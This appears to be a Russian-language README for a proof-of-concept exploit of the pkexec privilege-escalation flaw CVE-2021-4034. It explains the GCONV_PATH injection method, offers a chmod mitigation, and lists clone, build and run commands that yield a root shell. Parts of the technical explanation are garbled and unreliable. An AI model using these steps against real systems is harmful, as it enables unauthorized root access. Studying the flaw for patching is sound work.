
Доказательство концепции для уязвимости Polkit Pkexec: CVE-2021-4034(Pkexec локальное повышение привилегий)
Этот репозиторий содержит эксплойт, который я разработал, чтобы понять, как работает уязвимость Polkit Pkexec: CVE-2021-4034 (Pkexec Local Privilege Escalation). Polkit (ранее известный как PolicyKit) — это компонент, функция которого заключается в управлении привилегиями в Unix-подобных операционных системах. Он предоставляет организованный способ взаимодействия непривилегированных процессов с процессами, обладающими привилегиями. Уязвимость позволяет любому пользователю, обычному пользователю системы, не имеющему административных привилегий, получить максимальные привилегии в системе.
Уязвимость возникает, когда функция main() pkexec обрабатывает аргументы командной строки, где аргумент равен 0. Функция пытается получить доступ к списку аргументов и в итоге пытается получить доступ к rgvvoid (контроллеру аргументов командной строки), то есть это происходит, когда pkexec неправильно обрабатывает параметры вызова и в итоге пытается выполнить переменные окружения как команды. Результатом этого является чтение и запись памяти за пределами границ, что злоумышленник может использовать для внедрения переменной окружения, которая может привести к загрузке вредоносного кода.
Это просто понять: тот факт, что эти переменные окружения могут быть внедрены, делает код уязвимым. Способ, который я использовал для эксплуатации уязвимости, был тем же, что использовал Qualys. Процесс прост: достаточно внедрить переменную GCONV_PATH в рабочее окружение pkexec, то есть в любой каталог, доступный обычным пользователям системы. Эта переменная запустит общую библиотеку с правами root. Следует четко понимать, что этот метод шумный и оставляет много следов, поскольку внедрение переменной создает каталог, и он разделяет привилегии с пользователем root.
Если вы обнаружите, что ваша система уязвима, обновите её как можно скорее. Если вы всё ещё считаете, что она уязвима, вы можете удалить SUID-бит у pkexec в качестве временной меры смягчения последствий, вот так: # chmod 0755 /usr/bin/pkexec
Более подробно о том, как работает уязвимость, здесь.
Эксплойт будет работать мгновенно в уязвимых дистрибутивах на основе Debian, Ubuntu, Fedora и CentOS. Он был создан в учебных целях для изучения уязвимости и чтобы посмотреть, чего я сейчас могу достичь самостоятельно на языке C :D. Не используйте его для того, чего не следует.
$ git clone https://github.com/Nosferatuvjr/PwnKit
$ cd PwnKit
$ chmod +x ./PwnKit.sh
$ ./PwnKit.sh
# id
Или
$ git clone https://github.com/Nosferatuvjr/PwnKit
$ cd PwnKit
$ chmod +x ./PwnKit
$ ./PwnKit
$ ./PwnKit id #shell interativa

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC